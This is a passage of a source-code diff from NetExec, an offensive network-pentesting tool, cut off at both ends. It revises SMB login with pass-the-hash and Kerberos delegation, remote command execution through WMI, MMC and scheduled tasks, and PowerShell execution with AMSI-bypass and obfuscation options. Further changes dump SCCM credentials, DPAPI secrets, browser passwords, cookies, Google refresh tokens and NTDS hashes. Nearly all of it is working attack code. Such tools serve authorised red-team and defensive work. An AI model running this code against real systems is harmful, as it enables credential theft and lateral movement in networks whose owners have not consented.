if ntlm_hash.find(":") != -1:
lmhash, nthash = ntlm_hash.split(":")
self.hash = nthash
else:
self.plaintext_login(self.hostname, username, password)
return True
nthash = ntlm_hash
self.hash = ntlm_hash
if lmhash:
self.lmhash = lmhash
if nthash:
self.nthash = nthash
if not all(s == "" for s in [self.nthash, password, aesKey]):
kerb_pass = next(s for s in [self.nthash, password, aesKey] if s)
else:
kerb_pass = ""
self.logger.debug(f"Attempting to do Kerberos Login with useCache: {useCache}")
tgs = None
if self.args.delegate:
kerb_pass = ""
self.username = self.args.delegate
serverName = Principal(f"cifs/{self.hostname}", type=constants.PrincipalNameType.NT_SRV_INST.value)
tgs = kerberos_login_with_S4U(domain, self.hostname, username, password, nthash, lmhash, aesKey, kdcHost, self.args.delegate, serverName, useCache, no_s4u2proxy=self.args.no_s4u2proxy)
self.logger.debug(f"Got TGS for {self.args.delegate} through S4U")
self.conn.kerberosLogin(self.username, password, domain, lmhash, nthash, aesKey, kdcHost, useCache=useCache, TGS=tgs)
self.check_if_admin()
if username == "":
self.username = self.conn.getCredentials()[0]
elif not self.args.delegate:
self.username = username
used_ccache = " from ccache" if useCache else f":{process_secret(kerb_pass)}"
if self.args.delegate:
used_ccache = f" through S4U with {username}"
out = f"{self.domain}\\{self.username}{used_ccache} {self.mark_pwned()}"
self.logger.success(out)
if not self.args.local_auth and not self.args.delegate:
if not self.args.local_auth and self.username != "" and not self.args.delegate:
add_user_bh(self.username, domain, self.logger, self.config)
if self.admin_privs:
add_user_bh(f"{self.hostname}$", domain, self.logger, self.config)
@@ -456,17 +370,11 @@ class smb(connection):
# Re-connect since we logged off
self.create_conn_obj()
try:
if not self.args.laps:
self.password = password
self.username = username
self.password = password
self.username = username
self.domain = domain
try:
self.conn.login(self.username, self.password, domain)
except UnicodeEncodeError:
self.logger.error(f"UnicodeEncodeError on: '{self.username}:{self.password}'. Trying again with a different encoding...")
self.create_conn_obj()
self.conn.login(self.username, self.password.encode().decode("latin-1"), domain)
self.conn.login(self.username, self.password, domain)
self.check_if_admin()
self.logger.debug(f"Adding credential: {domain}/{self.username}:{self.password}")
@@ -479,7 +387,7 @@ class smb(connection):
out = f"{domain}\\{self.username}:{process_secret(self.password)} {self.mark_pwned()}"
self.logger.success(out)
if not self.args.local_auth:
if not self.args.local_auth and self.username != "":
add_user_bh(self.username, self.domain, self.logger, self.config)
if self.admin_privs:
self.logger.debug(f"Adding admin user: {self.domain}/{self.username}:{self.password}@{self.host}")
@@ -521,23 +429,19 @@ class smb(connection):
lmhash = ""
nthash = ""
try:
if not self.args.laps:
self.username = username
# This checks to see if we didn't provide the LM Hash
if ntlm_hash.find(":") != -1:
lmhash, nthash = ntlm_hash.split(":")
self.hash = nthash
else:
nthash = ntlm_hash
self.hash = ntlm_hash
if lmhash:
self.lmhash = lmhash
if nthash:
self.nthash = nthash
else:
nthash = self.hash
self.domain = domain
self.username = username
# This checks to see if we didn't provide the LM Hash
if ntlm_hash.find(":") != -1:
lmhash, nthash = ntlm_hash.split(":")
self.hash = nthash
else:
nthash = ntlm_hash
self.hash = ntlm_hash
if lmhash:
self.lmhash = lmhash
if nthash:
self.nthash = nthash
self.conn.login(self.username, "", domain, lmhash, nthash)
@@ -550,7 +454,7 @@ class smb(connection):
out = f"{domain}\\{self.username}:{process_secret(self.hash)} {self.mark_pwned()}"
self.logger.success(out)
if not self.args.local_auth:
if not self.args.local_auth and self.username != "":
add_user_bh(self.username, self.domain, self.logger, self.config)
if self.admin_privs:
self.db.add_admin_user("hash", domain, self.username, nthash, self.host, user_id=user_id)
@@ -579,11 +483,11 @@ class smb(connection):
self.logger.fail("Broken Pipe Error while attempting to login")
return False
def create_smbv1_conn(self, kdc=""):
def create_smbv1_conn(self):
try:
self.conn = SMBConnection(
kdc if kdc else self.host,
kdc if kdc else self.host,
self.remoteName,
self.host,
None,
self.port,
preferredDialect=SMB_DIALECT,
@@ -592,19 +496,19 @@ class smb(connection):
self.smbv1 = True
except OSError as e:
if str(e).find("Connection reset by peer") != -1:
self.logger.info(f"SMBv1 might be disabled on {kdc if kdc else self.host}")
self.logger.info(f"SMBv1 might be disabled on {self.host}")
return False
except (Exception, NetBIOSTimeout) as e:
self.logger.info(f"Error creating SMBv1 connection to {kdc if kdc else self.host}: {e}")
self.logger.info(f"Error creating SMBv1 connection to {self.host}: {e}")
return False
return True
def create_smbv3_conn(self, kdc=""):
def create_smbv3_conn(self):
try:
self.conn = SMBConnection(
kdc if kdc else self.host,
kdc if kdc else self.host,
self.remoteName,
self.host,
None,
self.port,
timeout=self.args.smb_timeout,
@@ -616,15 +520,15 @@ class smb(connection):
if not self.logger:
print("DEBUG ERROR: logger not set, please open an issue on github: " + str(self) + str(self.logger))
self.proto_logger()
self.logger.fail(f"SMBv3 connection error on {kdc if kdc else self.host}: {e}")
self.logger.fail(f"SMBv3 connection error on {self.host}: {e}")
return False
except (Exception, NetBIOSTimeout) as e:
self.logger.info(f"Error creating SMBv3 connection to {kdc if kdc else self.host}: {e}")
self.logger.info(f"Error creating SMBv3 connection to {self.host}: {e}")
return False
return True
def create_conn_obj(self, kdc_host=None):
return bool(self.create_smbv1_conn(kdc_host) or self.create_smbv3_conn(kdc_host))
def create_conn_obj(self):
return bool(self.create_smbv1_conn() or self.create_smbv3_conn())
def check_if_admin(self):
rpctransport = SMBTransport(self.conn.getRemoteHost(), 445, r"\svcctl", smb_connection=self.conn)
@@ -668,7 +572,7 @@ class smb(connection):
if method == "wmiexec":
try:
exec_method = WMIEXEC(
self.host if not self.kerberos else self.hostname + "." + self.domain,
self.remoteName,
self.smb_share_name,
self.username,
self.password,
@@ -677,6 +581,7 @@ class smb(connection):
self.kerberos,
self.aesKey,
self.kdcHost,
self.host,
self.hash,
self.args.share,
logger=self.logger,
@@ -691,18 +596,25 @@ class smb(connection):
continue
elif method == "mmcexec":
try:
# https://github.com/fortra/impacket/issues/1611
if self.kerberos:
raise Exception("MMCExec current is buggly with kerberos")
exec_method = MMCEXEC(
self.host if not self.kerberos else self.hostname + "." + self.domain,
self.remoteName,
self.smb_share_name,
self.username,
self.password,
self.domain,
self.conn,
self.args.share,
self.kerberos,
self.aesKey,
self.kdcHost,
self.host,
self.hash,
self.logger,
self.args.get_output_tries,
self.args.dcom_timeout
self.args.share,
logger=self.logger,
timeout=self.args.dcom_timeout,
tries=self.args.get_output_tries
)
self.logger.info("Executed command via mmcexec")
break
@@ -720,6 +632,7 @@ class smb(connection):
self.domain,
self.kerberos,
self.aesKey,
self.host,
self.kdcHost,
self.hash,
self.logger,
@@ -738,12 +651,12 @@ class smb(connection):
self.host if not self.kerberos else self.hostname + "." + self.domain,
self.smb_share_name,
self.conn,
self.port,
self.username,
self.password,
self.domain,
self.kerberos,
self.aesKey,
self.host,
self.kdcHost,
self.hash,
self.args.share,
@@ -769,14 +682,19 @@ class smb(connection):
except UnicodeDecodeError:
self.logger.debug("Decoding error detected, consider running chcp.com at the target, map the result with https://docs.python.org/3/library/codecs.html#standard-encodings")
output = output.decode("cp437")
output = output.strip()
self.logger.debug(f"Output: {output}")
self.logger.debug(f"Raw Output: {output}")
output = "\n".join([ll.rstrip() for ll in output.splitlines() if ll.strip()])
self.logger.debug(f"Cleaned Output: {output}")
if "This script contains malicious content" in output:
self.logger.fail("Command execution blocked by AMSI")
return None
if (self.args.execute or self.args.ps_execute) and output:
self.logger.success(f"Executed command via {current_method}")
buf = StringIO(output).readlines()
for line in buf:
output_lines = StringIO(output).readlines()
for line in output_lines:
self.logger.highlight(line.strip())
return output
else:
@@ -784,26 +702,30 @@ class smb(connection):
return False
@requires_admin
def ps_execute(
self,
payload=None,
get_output=False,
methods=None,
force_ps32=False,
dont_obfs=False,
):
def ps_execute(self, payload=None, get_output=False, methods=None, force_ps32=False, obfs=False, encode=False):
payload = self.args.ps_execute if not payload and self.args.ps_execute else payload
if not payload:
self.logger.error("No command to execute specified!")
return None
response = []
if not payload and self.args.ps_execute:
payload = self.args.ps_execute
if not self.args.no_output:
get_output = True
obfs = obfs if obfs else self.args.obfs
encode = encode if encode else not self.args.no_encode
force_ps32 = force_ps32 if force_ps32 else self.args.force_ps32
get_output = True if not self.args.no_output else get_output
self.logger.debug(f"Starting ps_execute(): {payload=} {get_output=} {methods=} {force_ps32=} {obfs=} {encode=}")
amsi_bypass = self.args.amsi_bypass[0] if self.args.amsi_bypass else None
self.logger.debug(f"AMSI Bypass: {amsi_bypass}")
if os.path.isfile(payload):
self.logger.debug(f"File payload set: {payload}")
with open(payload) as commands:
response = [self.execute(create_ps_command(c.strip(), force_ps32=force_ps32, dont_obfs=dont_obfs, custom_amsi=amsi_bypass), get_output, methods) for c in commands]
response = [self.execute(create_ps_command(c.strip(), force_ps32=force_ps32, obfs=obfs, custom_amsi=amsi_bypass, encode=encode), get_output, methods) for c in commands]
else:
response = [self.execute(create_ps_command(payload, force_ps32=force_ps32, dont_obfs=dont_obfs, custom_amsi=amsi_bypass), get_output, methods)]
response = [self.execute(create_ps_command(payload, force_ps32=force_ps32, obfs=obfs, custom_amsi=amsi_bypass, encode=encode), get_output, methods)]
self.logger.debug(f"ps_execute response: {response}")
return response
def shares(self):
@@ -847,17 +769,23 @@ class smb(connection):
share_info["access"].append("READ")
except SessionError as e:
error = get_error_string(e)
self.logger.debug(f"Error checking READ access on share: {error}")
self.logger.debug(f"Error checking READ access on share {share_name}: {error}")
if not self.args.no_write_check:
try:
self.conn.createDirectory(share_name, temp_dir)
self.conn.deleteDirectory(share_name, temp_dir)
write = True
share_info["access"].append("WRITE")
except SessionError as e:
error = get_error_string(e)
self.logger.debug(f"Error checking WRITE access on share: {error}")
self.logger.debug(f"Error checking WRITE access on share {share_name}: {error}")
if write:
try:
self.conn.deleteDirectory(share_name, temp_dir)
except SessionError as e:
error = get_error_string(e)
self.logger.debug(f"Error DELETING created temp dir {temp_dir} on share {share_name}: {error}")
permissions.append(share_info)
@@ -1105,10 +1033,11 @@ class smb(connection):
return groups
def users(self):
self.logger.display("Trying to dump local users with SAMRPC protocol")
return UserSamrDump(self).dump()
if len(self.args.users) > 0:
self.logger.debug(f"Dumping users: {', '.join(self.args.users)}")
return UserSamrDump(self).dump(self.args.users)
def hosts(self):
def computers(self):
hosts = []
for dc_ip in self.get_dc_ips():
try:
@@ -1130,7 +1059,7 @@ class smb(connection):
self.logger.highlight(f"{domain}\\{host_clean:<30}")
break
except Exception as e:
self.logger.fail(f"Error enumerating domain hosts using dc ip {dc_ip}: {e}")
self.logger.fail(f"Error enumerating domain computers using dc ip {dc_ip}: {e}")
break
return hosts
@@ -1145,17 +1074,17 @@ class smb(connection):
lmhash=self.lmhash,
nthash=self.nthash,
)
logged_on = {(f"{user.wkui1_logon_domain}\\{user.wkui1_username}", user.wkui1_logon_server) for user in logged_on}
self.logger.success("Enumerated logged_on users")
if self.args.loggedon_users_filter:
for user in logged_on:
if re.match(self.args.loggedon_users_filter, user.wkui1_username):
self.logger.highlight(f"{user.wkui1_logon_domain}\\{user.wkui1_username:<25} {f'logon_server: {user.wkui1_logon_server}' if user.wkui1_logon_server else ''}")
if re.match(self.args.loggedon_users_filter, user[0].split("\\")[1]):
self.logger.highlight(f"{user[0]:<25} {f'logon_server: {user[1]}'}")
else:
for user in logged_on:
self.logger.highlight(f"{user.wkui1_logon_domain}\\{user.wkui1_username:<25} {f'logon_server: {user.wkui1_logon_server}' if user.wkui1_logon_server else ''}")
self.logger.highlight(f"{user[0]:<25} {f'logon_server: {user[1]}'}")
except Exception as e:
self.logger.fail(f"Error enumerating logged on users: {e}")
return logged_on
def pass_pol(self):
return PassPolDump(self).dump()
@@ -1170,9 +1099,9 @@ class smb(connection):
namespace = self.args.wmi_namespace
try:
dcom = DCOMConnection(self.host if not self.kerberos else self.hostname + "." + self.domain, self.username, self.password, self.domain, self.lmhash, self.nthash, oxidResolver=True, doKerberos=self.kerberos, kdcHost=self.kdcHost, aesKey=self.aesKey)
dcom = DCOMConnection(self.remoteName, self.username, self.password, self.domain, self.lmhash, self.nthash, oxidResolver=True, doKerberos=self.kerberos, kdcHost=self.kdcHost, aesKey=self.aesKey, remoteHost=self.host)
iInterface = dcom.CoCreateInstanceEx(CLSID_WbemLevel1Login, IID_IWbemLevel1Login)
flag, stringBinding = dcom_FirewallChecker(iInterface, self.args.dcom_timeout)
flag, stringBinding = dcom_FirewallChecker(iInterface, self.host, self.args.dcom_timeout)
if not flag or not stringBinding:
error_msg = f"WMI Query: Dcom initialization failed on connection with stringbinding: '{stringBinding}', please increase the timeout with the option '--dcom-timeout'. If it's still failing maybe something is blocking the RPC connection, try another exec method"
@@ -1198,7 +1127,8 @@ class smb(connection):
record = wmi_results.getProperties()
records.append(record)
for k, v in record.items():
self.logger.highlight(f"{k} => {v['value']}")
if k != "TimeGenerated": # from the wcc module, but this is a small hack to get it to stop spamming - TODO: add in method to disable output for this function
self.logger.highlight(f"{k} => {v['value']}")
except Exception as e:
if str(e).find("S_FALSE") < 0:
raise e
@@ -1252,20 +1182,16 @@ class smb(connection):
max_rid = int(self.args.rid_brute)
KNOWN_PROTOCOLS = {
135: {"bindstr": r"ncacn_ip_tcp:%s", "set_host": False},
139: {"bindstr": r"ncacn_np:{}[\pipe\lsarpc]", "set_host": True},
445: {"bindstr": r"ncacn_np:{}[\pipe\lsarpc]", "set_host": True},
135: {"bindstr": rf"ncacn_ip_tcp:{self.host}"},
139: {"bindstr": rf"ncacn_np:{self.host}[\pipe\lsarpc]"},
445: {"bindstr": rf"ncacn_np:{self.host}[\pipe\lsarpc]"},
}
try:
full_hostname = self.host if not self.kerberos else self.hostname + "." + self.domain
string_binding = KNOWN_PROTOCOLS[self.port]["bindstr"]
logging.debug(f"StringBinding {string_binding}")
rpc_transport = transport.DCERPCTransportFactory(string_binding)
rpc_transport.set_dport(self.port)
if KNOWN_PROTOCOLS[self.port]["set_host"]:
rpc_transport.setRemoteHost(full_hostname)
rpc_transport.setRemoteHost(self.host)
if hasattr(rpc_transport, "set_credentials"):
# This method exists only for selected protocol sequences.
@@ -1343,19 +1269,21 @@ class smb(connection):
dce.disconnect()
return entries
def put_file(self):
self.logger.display(f"Copying {self.args.put_file[0]} to {self.args.put_file[1]}")
with open(self.args.put_file[0], "rb") as file:
def put_file_single(self, src, dst):
self.logger.display(f"Copying {src} to {dst}")
with open(src, "rb") as file:
try:
self.conn.putFile(self.args.share, self.args.put_file[1], file.read)
self.logger.success(f"Created file {self.args.put_file[0]} on \\\\{self.args.share}\\{self.args.put_file[1]}")
self.conn.putFile(self.args.share, dst, file.read)
self.logger.success(f"Created file {src} on \\\\{self.args.share}\\{dst}")
except Exception as e:
self.logger.fail(f"Error writing file to share {self.args.share}: {e}")
def put_file(self):
for src, dest in self.args.put_file:
self.put_file_single(src, dest)
def get_file(self):
def get_file_single(self, remote_path, download_path):
share_name = self.args.share
remote_path = self.args.get_file[0]
download_path = self.args.get_file[1]
self.logger.display(f'Copying "{remote_path}" to "{download_path}"')
if self.args.append_host:
download_path = f"{self.hostname}-{remote_path}"
@@ -1368,13 +1296,17 @@ class smb(connection):
if os.path.getsize(download_path) == 0:
os.remove(download_path)
def get_file(self):
for src, dest in self.args.get_file:
self.get_file_single(src, dest)
def enable_remoteops(self):
if self.remote_ops is not None and self.bootkey is not None:
return
try:
self.remote_ops = RemoteOperations(self.conn, self.kerberos, self.kdcHost)
self.remote_ops.enableRegistry()
self.bootkey = self.remote_ops.getBootKey()
if self.bootkey is None:
self.bootkey = self.remote_ops.getBootKey()
except Exception as e:
self.logger.fail(f"RemoteOperations failed: {e}")
@@ -1423,10 +1355,67 @@ class smb(connection):
except Exception as e:
self.logger.exception(str(e))
@requires_admin
def sccm(self):
masterkeys = []
if self.args.mkfile is not None:
try:
masterkeys += parse_masterkey_file(self.args.mkfile)
except Exception as e:
self.logger.fail(str(e))
target = Target.create(
domain=self.domain,
username=self.username,
password=self.password,
target=self.hostname + "." + self.domain if self.kerberos else self.host,
lmhash=self.lmhash,
nthash=self.nthash,
do_kerberos=self.kerberos,
aesKey=self.aesKey,
no_pass=True,
use_kcache=self.use_kcache,
)
try:
conn = DPLootSMBConnection(target)
conn.smb_session = self.conn
except Exception as e:
self.logger.debug(f"Could not upgrade connection: {e}")
return
try:
self.logger.display("Collecting Machine masterkeys, grab a coffee and be patient...")
masterkeys_triage = MasterkeysTriage(
target=target,
conn=conn,
dpapiSystem={},
)
masterkeys += masterkeys_triage.triage_system_masterkeys()
except Exception as e:
self.logger.debug(f"Could not get masterkeys: {e}")
if len(masterkeys) == 0:
self.logger.fail("No masterkeys looted")
return
self.logger.success(f"Got {highlight(len(masterkeys))} decrypted masterkeys. Looting SCCM Credentials through {self.args.sccm}")
try:
# Collect Chrome Based Browser stored secrets
sccm_triage = SCCMTriage(target=target, conn=conn, masterkeys=masterkeys, use_wmi=self.args.sccm == "wmi")
sccmcreds, sccmtasks, sccmcollections = sccm_triage.triage_sccm()
for sccmcred in sccmcreds:
self.logger.highlight(f"[NAA Account] {sccmcred.username.decode('latin-1')}:{sccmcred.password.decode('latin-1')}")
for sccmtask in sccmtasks:
self.logger.highlight(f"[Task sequences secret] {sccmtask.secret.decode('latin-1')}")
for sccmcollection in sccmcollections:
self.logger.highlight(f"[Collection Variable] {sccmcollection.variable.decode('latin-1')}:{sccmcollection.value.decode('latin-1')}")
except Exception as e:
self.logger.debug(f"Error while looting sccm: {e}")
@requires_admin
def dpapi(self):
dump_system = "nosystem" not in self.args.dpapi
logging.getLogger("dploot").disabled = True
if self.args.pvk is not None:
try:
@@ -1517,6 +1506,7 @@ class smb(connection):
pvkbytes=self.pvkbytes,
passwords=plaintexts,
nthashes=nthashes,
dpapiSystem={},
)
self.logger.debug(f"Masterkeys Triage: {masterkeys_triage}")
masterkeys += masterkeys_triage.triage_masterkeys()
@@ -1576,23 +1566,37 @@ class smb(connection):
except Exception as e:
self.logger.debug(f"Error while looting browsers: {e}")
for credential in browser_credentials:
cred_url = credential.url + " -" if credential.url != "" else "-"
self.logger.highlight(f"[{credential.winuser}][{credential.browser.upper()}] {cred_url} {credential.username}:{credential.password}")
self.db.add_dpapi_secrets(
target.address,
credential.browser.upper(),
credential.winuser,
credential.username,
credential.password,
credential.url,
)
if isinstance(credential, LoginData):
cred_url = credential.url + " -" if credential.url != "" else "-"
self.logger.highlight(f"[{credential.winuser}][{credential.browser.upper()}] {cred_url} {credential.username}:{credential.password}")
self.db.add_dpapi_secrets(
target.address,
credential.browser.upper(),
credential.winuser,
credential.username,
credential.password,
credential.url,
)
elif isinstance(credential, GoogleRefreshToken):
self.logger.highlight(f"[{credential.winuser}][{credential.browser.upper()}] Google Refresh Token: {credential.service}:{credential.token}")
self.db.add_dpapi_secrets(
target.address,
credential.browser.upper(),
credential.winuser,
credential.service,
credential.token,
"Google Refresh Token",
)
if dump_cookies:
if dump_cookies and cookies:
self.logger.display("Start Dumping Cookies")
for cookie in cookies:
if cookie.cookie_value != "":
self.logger.highlight(f"[{credential.winuser}][{cookie.browser.upper()}] {cookie.host}{cookie.path} - {cookie.cookie_name}:{cookie.cookie_value}")
self.logger.highlight(f"[{cookie.winuser}][{cookie.browser.upper()}] {cookie.host}{cookie.path} - {cookie.cookie_name}:{cookie.cookie_value}")
self.logger.display("End Dumping Cookies")
elif dump_cookies:
self.logger.fail("No cookies found")
vaults = []
try:
@@ -1633,6 +1637,9 @@ class smb(connection):
credential.url,
)
if not (credentials or system_credentials or browser_credentials or cookies or vaults or firefox_credentials):
self.logger.fail("No secrets found")
@requires_admin
def lsa(self):
try:
@@ -1690,10 +1697,10 @@ class smb(connection):
add_ntds_hash.ntds_hashes += 1
if self.args.enabled:
if "Enabled" in ntds_hash:
ntds_hash = ntds_hash.split(" ")[0]
ntds_hash = " ".join(ntds_hash.split(" ")[:-1])
self.logger.highlight(ntds_hash)
else:
ntds_hash = ntds_hash.split(" ")[0]
ntds_hash = " ".join(ntds_hash.split(" ")[:-1])
self.logger.highlight(ntds_hash)
if ntds_hash.find("$") == -1:
if ntds_hash.find("\\") != -1:
+22 -7
View File
@@ -7,7 +7,7 @@ from time import sleep
class TSCH_EXEC:
def __init__(self, target, share_name, username, password, domain, doKerberos=False, aesKey=None, kdcHost=None, hashes=None, logger=None, tries=None, share=None):
def __init__(self, target, share_name, username, password, domain, doKerberos=False, aesKey=None, remoteHost=None, kdcHost=None, hashes=None, logger=None, tries=None, share=None):
self.__target = target
self.__username = username
self.__password = password
@@ -19,6 +19,7 @@ class TSCH_EXEC:
self.__retOutput = False
self.__aesKey = aesKey
self.__doKerberos = doKerberos
self.__remoteHost = remoteHost
self.__kdcHost = kdcHost
self.__tries = tries
self.__output_filename = None
@@ -37,6 +38,7 @@ class TSCH_EXEC:
stringbinding = r"ncacn_np:%s[\pipe\atsvc]" % self.__target
self.__rpctransport = transport.DCERPCTransportFactory(stringbinding)
self.__rpctransport.setRemoteHost(self.__remoteHost)
if hasattr(self.__rpctransport, "set_credentials"):
# This method exists only for selected protocol sequences.
@@ -131,7 +133,7 @@ class TSCH_EXEC:
xml = self.gen_xml(command, fileless)
self.logger.info(f"Task XML: {xml}")
self.logger.debug(f"Task XML: {xml}")
taskCreated = False
self.logger.info(f"Creating task \\{tmpName}")
try:
@@ -179,22 +181,35 @@ class TSCH_EXEC:
else:
":".join(map(str, self.__rpctransport.get_socket().getpeername()))
smbConnection = self.__rpctransport.get_smb_connection()
tries = 1
tries = 0
# Give the command a bit of time to execute before we try to read the output, 0.4 seconds was good in testing
sleep(0.4)
while True:
try:
self.logger.info(f"Attempting to read {self.__share}\\{self.__output_filename}")
smbConnection.getFile(self.__share, self.__output_filename, self.output_callback)
break
except Exception as e:
if tries >= self.__tries:
if tries > self.__tries:
self.logger.fail("ATEXEC: Could not retrieve output file, it may have been detected by AV. Please increase the number of tries with the option '--get-output-tries'. If it is still failing, try the 'wmi' protocol or another exec method")
break
if str(e).find("STATUS_BAD_NETWORK_NAME") > 0:
if "STATUS_BAD_NETWORK_NAME" in str(e):
self.logger.fail(f"ATEXEC: Getting the output file failed - target has blocked access to the share: {self.__share} (but the command may have executed!)")
break
if str(e).find("SHARING") > 0 or str(e).find("STATUS_OBJECT_NAME_NOT_FOUND") >= 0:
sleep(3)
elif "STATUS_VIRUS_INFECTED" in str(e):
self.logger.fail("Command did not run because a virus was detected")
break
# When executing powershell and the command is still running, we get a sharing violation
# We can use that information to wait longer than if the file is not found (probably av or something)
if "STATUS_SHARING_VIOLATION" in str(e):
self.logger.info(f"File {self.__share}\\{self.__output_filename} is still in use with {self.__tries - tries} left, retrying...")
tries += 1
sleep(1)
elif "STATUS_OBJECT_NAME_NOT_FOUND" in str(e):
self.logger.info(f"File {self.__share}\\{self.__output_filename} not found with {self.__tries - tries} left, deducting 10 tries and retrying...")
tries += 10
sleep(1)
else:
self.logger.debug(str(e))
+1 -1
View File
@@ -193,7 +193,7 @@ class database:
print(
f"""
[-] Error reflecting tables for the {self.protocol} protocol - this means there is a DB schema mismatch
[-] This is probably because a newer version of nxc is being ran on an old DB schema
[-] This is probably because a newer version of nxc is being run on an old DB schema
[-] Optionally save the old DB data (`cp {self.db_path} ~/nxc_{self.protocol.lower()}.bak`)
[-] Then remove the {self.protocol} DB (`rm -f {self.db_path}`) and run nxc to initialize the new DB"""
)
+10 -1
View File
@@ -4,6 +4,7 @@ from hashlib import pbkdf2_hmac, sha1
import hmac
import json
import ntpath
from os import remove
import sqlite3
import tempfile
from Cryptodome.Cipher import AES, DES3
@@ -121,7 +122,10 @@ class FirefoxTriage:
]
def get_key(self, key4_data, master_password=b""):
fh = tempfile.NamedTemporaryFile()
# Instead of disabling "delete" and removing the file manually,
# in the future (py3.12) we could use "delete_on_close=False" as a cleaner solution
# Related issue: #134
fh = tempfile.NamedTemporaryFile(delete=False)
fh.write(key4_data)
fh.seek(0)
db = sqlite3.connect(fh.name)
@@ -149,7 +153,12 @@ class FirefoxTriage:
self.logger.debug(e)
fh.close()
return b""
db.close()
fh.close()
try:
remove(fh.name)
except Exception as e:
self.logger.error(f"Error removing temporary file: {e}")
def is_master_password_correct(self, key_data, master_password=b""):
try:
+35 -18
View File
@@ -58,26 +58,28 @@ from impacket.dcerpc.v5.dtypes import NULL
class MMCEXEC:
def __init__(self, host, share_name, username, password, domain, smbconnection, share, hashes=None, logger=None, tries=None, timeout=None):
self.__host = host
def __init__(self, target, share_name, username, password, domain, smbconnection, doKerberos=False, aesKey=None, kdcHost=None, remoteHost=None, hashes=None, share=None, logger=None, timeout=None, tries=None):
self.__target = target
self.__username = username
self.__password = password
self.__smbconnection = smbconnection
self.__domain = domain
self.__lmhash = ""
self.__nthash = ""
self.__share_name = share_name
self.__share = share
self.__timeout = timeout
self.__smbconnection = smbconnection
self.__output = None
self.__outputBuffer = b""
self.__share_name = share_name
self.__shell = "c:\\windows\\system32\\cmd.exe"
self.__pwd = "C:\\"
self.__quit = None
self.__executeShellCommand = None
self.__aesKey = aesKey
self.__kdcHost = kdcHost
self.__remoteHost = remoteHost
self.__doKerberos = doKerberos
self.__retOutput = True
self.__share = share
self.__dcom = None
self.__stringBinding = ""
self.__tries = tries
self.__timeout = timeout
self.logger = logger
if hashes is not None:
@@ -87,21 +89,24 @@ class MMCEXEC:
self.__nthash = hashes
self.__dcom = DCOMConnection(
self.__host,
self.__target,
self.__username,
self.__password,
self.__domain,
self.__lmhash,
self.__nthash,
None,
self.__aesKey,
oxidResolver=True,
doKerberos=self.__doKerberos,
kdcHost=self.__kdcHost,
remoteHost=self.__remoteHost,
)
try:
iInterface = self.__dcom.CoCreateInstanceEx(string_to_bin("49B2791A-B1AE-4C90-9B8E-E860BA07F889"), IID_IDispatch)
except Exception:
# Make it force break function
self.__dcom.disconnect()
flag, self.__stringBinding = dcom_FirewallChecker(iInterface, self.__timeout)
flag, self.__stringBinding = dcom_FirewallChecker(iInterface, self.__remoteHost, self.__timeout)
if not flag or not self.__stringBinding:
error_msg = f'MMCEXEC: Dcom initialization failed on connection with stringbinding: "{self.__stringBinding}", please increase the timeout with the option "--dcom-timeout". If it\'s still failing maybe something is blocking the RPC connection, try another exec method'
@@ -242,23 +247,35 @@ class MMCEXEC:
if self.__retOutput is False:
self.__outputBuffer = ""
return
tries = 1
tries = 0
# Give the command a bit of time to execute before we try to read the output, 0.4 seconds was good in testing
sleep(0.4)
while True:
try:
self.logger.info(f"Attempting to read {self.__share}\\{self.__output}")
self.__smbconnection.getFile(self.__share, self.__output, self.output_callback)
break
except Exception as e:
if tries >= self.__tries:
if tries > self.__tries:
self.logger.fail("MMCEXEC: Could not retrieve output file, it may have been detected by AV. Please increase the number of tries with the option '--get-output-tries'. If it is still failing, try the 'wmi' protocol or another exec method")
break
if str(e).find("STATUS_BAD_NETWORK_NAME") > 0:
if "STATUS_BAD_NETWORK_NAME" in str(e):
self.logger.fail(f"MMCEXEC: Getting the output file failed - target has blocked access to the share: {self.__share} (but the command may have executed!)")
break
if str(e).find("STATUS_SHARING_VIOLATION") >= 0 or str(e).find("STATUS_OBJECT_NAME_NOT_FOUND") >= 0:
# Output not finished, let's wait
sleep(2)
elif "STATUS_VIRUS_INFECTED" in str(e):
self.logger.fail("Command did not run because a virus was detected")
break
# When executing powershell and the command is still running, we get a sharing violation
# We can use that information to wait longer than if the file is not found (probably av or something)
if "STATUS_SHARING_VIOLATION" in str(e):
self.logger.info(f"File {self.__share}\\{self.__output} is still in use with {self.__tries - tries} left, retrying...")
tries += 1
sleep(1)
elif "STATUS_OBJECT_NAME_NOT_FOUND" in str(e):
self.logger.info(f"File {self.__share}\\{self.__output} not found with {self.__tries - tries} left, deducting 10 tries and retrying...")
tries += 10
sleep(1)
else:
self.logger.debug(str(e))
Loaded 100 of 129 files, more files were not shown because too many files have changed in this diff. Show more